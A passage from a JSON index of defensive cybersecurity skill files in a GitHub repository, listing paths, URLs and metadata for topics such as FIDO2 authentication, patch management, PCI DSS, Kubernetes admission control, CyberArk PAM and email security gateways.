/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-passwordless-authentication-with-fido2%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":372,"sizeBytes":1585},{"name":"SKILL.md","path":"skills/implementing-passwordless-authentication-with-fido2/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-passwordless-authentication-with-fido2/SKILL.md","title":"implementing-passwordless-authentication-with-fido2","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-passwordless-authentication-with-fido2%2FSKILL.md -->","frontmatter":{"name":"implementing-passwordless-authentication-with-fido2","description":"Deploy FIDO2/WebAuthn passwordless authentication using security keys and platform authenticators, covering WebAuthn API integration, FIDO2 server configuration, passkey enrollment, biometric authentication, and migration from password-based systems aligned with NIST SP 800-63B AAL3. Use when implementing passkey login, configuring a FIDO2/WebAuthn server, or replacing passwords with phishing-resistant authentication.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["iam","identity","access-control","authentication","fido2","webauthn","passwordless"],"version":"1.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0051","AML.T0054","AML.T0056"],"nist_ai_rmf":["MEASURE-2.7","MEASURE-2.5","GOVERN-6.1","MAP-5.1"],"nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098"]},"isInternal":false,"tokens":655,"sizeBytes":2840},{"name":"api-reference.md","path":"skills/implementing-patch-management-for-ot-systems/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-patch-management-for-ot-systems/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-patch-management-for-ot-systems%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":801,"sizeBytes":2974},{"name":"SKILL.md","path":"skills/implementing-patch-management-for-ot-systems/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-patch-management-for-ot-systems/SKILL.md","title":"implementing-patch-management-for-ot-systems","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-patch-management-for-ot-systems%2FSKILL.md -->","frontmatter":{"name":"implementing-patch-management-for-ot-systems","description":"Implements a structured patch management program for OT/ICS environments where IT-style patching can cause process disruption or safety hazards, covering vendor compatibility testing, risk-based prioritization, staged test deployment, maintenance window coordination, rollback procedures, and compensating controls. Use when planning or auditing patching for SCADA, PLCs, or other industrial control systems.\n","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","scada","industrial-control","iec62443","patch-management","vulnerability-management"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T0816","T0836"]},"isInternal":false,"tokens":2802,"sizeBytes":12718},{"name":"template.md","path":"skills/implementing-patch-management-workflow/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-patch-management-workflow/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-patch-management-workflow%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":394,"sizeBytes":1164},{"name":"api-reference.md","path":"skills/implementing-patch-management-workflow/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-patch-management-workflow/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-patch-management-workflow%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1234,"sizeBytes":4567},{"name":"standards.md","path":"skills/implementing-patch-management-workflow/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-patch-management-workflow/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-patch-management-workflow%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":354,"sizeBytes":1499},{"name":"workflows.md","path":"skills/implementing-patch-management-workflow/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-patch-management-workflow/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-patch-management-workflow%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":597,"sizeBytes":2455},{"name":"SKILL.md","path":"skills/implementing-patch-management-workflow/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-patch-management-workflow/SKILL.md","title":"implementing-patch-management-workflow","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-patch-management-workflow%2FSKILL.md -->","frontmatter":{"name":"implementing-patch-management-workflow","description":"Patch management is the systematic process of identifying, testing, deploying, and verifying software updates to remediate vulnerabilities across an organization's IT infrastructure. An effective patc","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["vulnerability-management","patch-management","wsus","sccm","ansible","risk"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068"]},"isInternal":false,"tokens":2521,"sizeBytes":10777},{"name":"template.md","path":"skills/implementing-pci-dss-compliance-controls/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-pci-dss-compliance-controls/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pci-dss-compliance-controls%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1064,"sizeBytes":4286},{"name":"api-reference.md","path":"skills/implementing-pci-dss-compliance-controls/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-pci-dss-compliance-controls/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pci-dss-compliance-controls%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1508,"sizeBytes":6459},{"name":"standards.md","path":"skills/implementing-pci-dss-compliance-controls/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-pci-dss-compliance-controls/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pci-dss-compliance-controls%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":245,"sizeBytes":1087},{"name":"workflows.md","path":"skills/implementing-pci-dss-compliance-controls/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-pci-dss-compliance-controls/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pci-dss-compliance-controls%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":400,"sizeBytes":1643},{"name":"SKILL.md","path":"skills/implementing-pci-dss-compliance-controls/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-pci-dss-compliance-controls/SKILL.md","title":"implementing-pci-dss-compliance-controls","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pci-dss-compliance-controls%2FSKILL.md -->","frontmatter":{"name":"implementing-pci-dss-compliance-controls","description":"Implements PCI DSS 4.0.1's 12 requirements across 6 control objectives for organizations that store, process, or transmit cardholder data, including the customized validation approach, enhanced authentication, and continuous monitoring controls introduced by the 51 requirements mandatory since March 2025. Use when scoping a cardholder data environment, building PCI DSS 4.0.1 compliance controls, or preparing for a PCI assessment.","domain":"cybersecurity","subdomain":"compliance-governance","tags":["compliance","governance","pci-dss","payment-security","cardholder-data"],"nist_csf":["GV.PO-01","PR.DS-01","PR.AA-01","DE.CM-01","ID.RA-01"],"version":"1.0","author":"mahipal","license":"Apache-2.0","mitre_attack":["T1078","T1530","T1685.002"]},"isInternal":false,"tokens":1490,"sizeBytes":6558},{"name":"template.md","path":"skills/implementing-pod-security-admission-controller/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-pod-security-admission-controller/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pod-security-admission-controller%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":291,"sizeBytes":1290},{"name":"api-reference.md","path":"skills/implementing-pod-security-admission-controller/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-pod-security-admission-controller/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pod-security-admission-controller%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1120,"sizeBytes":5229},{"name":"standards.md","path":"skills/implementing-pod-security-admission-controller/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-pod-security-admission-controller/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pod-security-admission-controller%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":299,"sizeBytes":1099},{"name":"workflows.md","path":"skills/implementing-pod-security-admission-controller/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-pod-security-admission-controller/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pod-security-admission-controller%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":252,"sizeBytes":1066},{"name":"SKILL.md","path":"skills/implementing-pod-security-admission-controller/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-pod-security-admission-controller/SKILL.md","title":"implementing-pod-security-admission-controller","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pod-security-admission-controller%2FSKILL.md -->","frontmatter":{"name":"implementing-pod-security-admission-controller","description":"Configures and operates the Kubernetes Pod Security Admission (PSA) controller that enforces Pod Security Standards: namespace enforce/audit/warn labels, cluster-wide defaults via AdmissionConfiguration, exemptions for usernames, runtime classes and namespaces, version pinning, and troubleshooting pods the controller rejected. Use when wiring PSA up on a cluster, setting cluster-wide default enforcement, exempting system namespaces, debugging why a pod was rejected or why enforcement is not firing, or reading PSA audit and warning output. Keywords: Pod Security Admission, PSA, admission controller, AdmissionConfiguration, pod-security.kubernetes.io labels, enforce audit warn, exemptions, kube-apiserver. Do not use for choosing which security profile a workload needs - use implementing-kubernetes-pod-security-standards.","domain":"cybersecurity","subdomain":"container-security","tags":["kubernetes","pod-security-admission","psa","pod-security-standards","admission-controller"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525"]},"isInternal":false,"tokens":2351,"sizeBytes":9801},{"name":"template.md","path":"skills/implementing-policy-as-code-with-open-policy-agent/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-policy-as-code-with-open-policy-agent/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-policy-as-code-with-open-policy-agent%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":461,"sizeBytes":1833},{"name":"api-reference.md","path":"skills/implementing-policy-as-code-with-open-policy-agent/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-policy-as-code-with-open-policy-agent/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-policy-as-code-with-open-policy-agent%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1152,"sizeBytes":4139},{"name":"standards.md","path":"skills/implementing-policy-as-code-with-open-policy-agent/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-policy-as-code-with-open-policy-agent/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-policy-as-code-with-open-policy-agent%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":271,"sizeBytes":1177},{"name":"workflows.md","path":"skills/implementing-policy-as-code-with-open-policy-agent/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-policy-as-code-with-open-policy-agent/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-policy-as-code-with-open-policy-agent%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":336,"sizeBytes":1911},{"name":"SKILL.md","path":"skills/implementing-policy-as-code-with-open-policy-agent/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-policy-as-code-with-open-policy-agent/SKILL.md","title":"implementing-policy-as-code-with-open-policy-agent","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-policy-as-code-with-open-policy-agent%2FSKILL.md -->","frontmatter":{"name":"implementing-policy-as-code-with-open-policy-agent","description":"Implements policy-as-code enforcement with Open Policy Agent (OPA) and Gatekeeper for Kubernetes and CI/CD pipelines, covering writing Rego policies, deploying OPA Gatekeeper as a Kubernetes admission controller, testing policies in development, and integrating policy evaluation into deployment pipelines. Use when writing Rego policies, deploying Gatekeeper admission control, or gating CI/CD pipelines with policy-as-code checks.\n","domain":"cybersecurity","subdomain":"devsecops","tags":["devsecops","cicd","opa","gatekeeper","policy-as-code","kubernetes","secure-sdlc"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["GOVERN-1.1","MEASURE-2.7","MANAGE-3.1"],"nist_csf":["PR.PS-01","GV.SC-07","ID.IM-04","PR.PS-04"],"mitre_attack":["T1195","T1554","T1059.004","T1610","T1611"]},"isInternal":false,"tokens":2481,"sizeBytes":10377},{"name":"template.md","path":"skills/implementing-privileged-access-management-with-cyberark/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-privileged-access-management-with-cyberark/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-access-management-with-cyberark%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":621,"sizeBytes":2510},{"name":"api-reference.md","path":"skills/implementing-privileged-access-management-with-cyberark/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-privileged-access-management-with-cyberark/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-access-management-with-cyberark%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1208,"sizeBytes":4591},{"name":"standards.md","path":"skills/implementing-privileged-access-management-with-cyberark/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-privileged-access-management-with-cyberark/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-access-management-with-cyberark%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":426,"sizeBytes":1542},{"name":"workflows.md","path":"skills/implementing-privileged-access-management-with-cyberark/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-privileged-access-management-with-cyberark/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-access-management-with-cyberark%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":659,"sizeBytes":3063},{"name":"SKILL.md","path":"skills/implementing-privileged-access-management-with-cyberark/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-privileged-access-management-with-cyberark/SKILL.md","title":"implementing-privileged-access-management-with-cyberark","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-access-management-with-cyberark%2FSKILL.md -->","frontmatter":{"name":"implementing-privileged-access-management-with-cyberark","description":"Deploy CyberArk Privileged Access Management to discover, vault, rotate, and monitor privileged credentials across enterprise infrastructure, covering vault architecture, session isolation, credential rotation policies, and integration with NIST 800-53 access control requirements. Use when standing up CyberArk PAM, vaulting privileged credentials, or designing credential rotation policies.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["iam","identity","access-control","privileged-access","pam","cyberark"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098","T1003"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning","resource-development"],"techniques":[{"id":"T1586","name":"Compromise Accounts","tactic":"resource-development","source":"attack"},{"id":"T1110","name":"Brute Force","tactic":"initial-access","source":"attack"},{"id":"F1033","name":"Insider Access Abuse","tactic":"initial-access","source":"f3"},{"id":"F1005.002","name":"Account Manipulation: Add Authorized User","tactic":"positioning","source":"f3"},{"id":"F1006.002","name":"Account Takeover: Exposed Login Credential","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":1583,"sizeBytes":7367},{"name":"api-reference.md","path":"skills/implementing-privileged-access-workstation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-privileged-access-workstation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-access-workstation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":450,"sizeBytes":2068},{"name":"SKILL.md","path":"skills/implementing-privileged-access-workstation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-privileged-access-workstation/SKILL.md","title":"implementing-privileged-access-workstation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-access-workstation%2FSKILL.md -->","frontmatter":{"name":"implementing-privileged-access-workstation","description":"Design and implement Privileged Access Workstations (PAWs) using the tiered administration model, with device hardening, device compliance enforcement via Microsoft Intune or Group Policy, just-in-time (JIT) access provisioning, and integration with PAM platforms like CyberArk or BeyondTrust. Use when hardening admin endpoints, designing a tiered administration model, or securing privileged administrative operations.","domain":"cybersecurity","subdomain":"identity-and-access-management","tags":["privileged-access","PAW","zero-trust","device-hardening","CyberArk","BeyondTrust","just-in-time-access"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05"],"mitre_attack":["T1078","T1190","T1059"]},"isInternal":false,"tokens":559,"sizeBytes":2599},{"name":"api-reference.md","path":"skills/implementing-privileged-session-monitoring/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-privileged-session-monitoring/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-session-monitoring%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":561,"sizeBytes":2069},{"name":"SKILL.md","path":"skills/implementing-privileged-session-monitoring/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-privileged-session-monitoring/SKILL.md","title":"implementing-privileged-session-monitoring","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-session-monitoring%2FSKILL.md -->","frontmatter":{"name":"implementing-privileged-session-monitoring","description":"Implements privileged session monitoring and recording using PAM solutions, focusing on CyberArk Privileged Session Manager (PSM) and open-source alternatives, covering session recording configuration, keystroke logging, real-time monitoring, risk-based session analysis, and compliance audit trail generation. Use when configuring CyberArk PSM, recording administrator sessions, or building compliance audit trails for privileged access.\n","domain":"cybersecurity","subdomain":"identity-access-management","tags":["PAM","CyberArk","PSM","privileged-session","session-recording","session-monitoring","compliance"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098"]},"isInternal":false,"tokens":2773,"sizeBytes":11918},{"name":"template.md","path":"skills/implementing-proofpoint-email-security-gateway/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-proofpoint-email-security-gateway/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-proofpoint-email-security-gateway%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":435,"sizeBytes":1739},{"name":"api-reference.md","path":"skills/implementing-proofpoint-email-security-gateway/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-proofpoint-email-security-gateway/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-proofpoint-email-security-gateway%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1396,"sizeBytes":5181},{"name":"standards.md","path":"skills/implementing-proofpoint-email-security-gateway/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-proofpoint-email-security-gateway/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-proofpoint-email-security-gateway%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":477,"sizeBytes":1750},{"name":"workflows.md","path":"skills/implementing-proofpoint-email-security-gateway/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-proofpoint-email-security-gateway/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-proofpoint-email-security-gateway%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":710,"sizeBytes":2727},{"name":"SKILL.md","path":"skills/implementing-proofpoint-email-security-gateway/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-proofpoint-email-security-gateway/SKILL.md","title":"implementing-proofpoint-email-security-gateway","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-proofpoint-email-security-gateway%2FSKILL.md -->","frontmatter":{"name":"implementing-proofpoint-email-security-gateway","description":"Deploy and configure Proofpoint Email Protection as a secure email gateway to detect and block phishing, malware, BEC, and spam before messages reach user inboxes.","domain":"cybersecurity","subdomain":"phishing-defense","tags":["email-security","proofpoint","secure-email-gateway","phishing","anti-spam","anti-malware","bec","email-filtering"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AT-01","DE.CM-09","RS.CO-02","DE.AE-02"],"mitre_attack":["T1566","T1598","T1534","T1036","T1027"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","initial-access","stealth","positioning"],"techniques":[{"id":"T1598","name":"Phishing for Information","tactic":"reconnaissance","source":"attack"},{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"T1672","name":"Email Spoofing","tactic":"stealth","source":"attack"},{"id":"F1032","name":"Impersonate Official","tactic":"initial-access","source":"f3"},{"id":"F1029","name":"Gather Customer Information","tactic":"reconnaissance","source":"f3"},{"id":"F1005.006","name":"Account Manipulation: Change of Payment Details","tactic":"positioning","source":"f3"}]}},"isInternal":false,"tokens":1582,"sizeBytes":7112},{"name":"api-reference.md","path":"skills/implementing-purdue-model-network-segmentation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-purdue-model-network-segmentation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-purdue-model-network-segmentation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1513,"sizeBytes":5646},{"name":"SKILL.md","path":"skills/implementing-purdue-model-network-segmentation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-purdue-model-network-segmentation/SKILL.md","title":"implementing-purdue-model-network-segmentation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-purdue-model-network-segmentation%2FSKILL.md -->","frontmatter":{"name":"implementing-purdue-model-network-segmentation","description":"Implement network segmentation based on the Purdue Enterprise Reference Architecture (PERA) model, separating ICS networks into hierarchical security zones from Level 0 physical process through Level 5 enterprise and enforcing strict traffic control through IEC 62443-aligned DMZs between OT and IT domains. Use when designing ICS/SCADA network zones or segmenting OT from IT networks.\n","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","purdue-model","network-segmentation","iec62443","defense-in-depth","dmz","scada"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T0816","T0836"]},"isInternal":false,"tokens":4213,"sizeBytes":17518},{"name":"template.md","path":"skills/implementing-ransomware-backup-strategy/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-ransomware-backup-strategy/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ransomware-backup-strategy%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":927,"sizeBytes":3794},{"name":"api-reference.md","path":"skills/implementing-ransomware-backup-strategy/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-ransomware-backup-strategy/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via 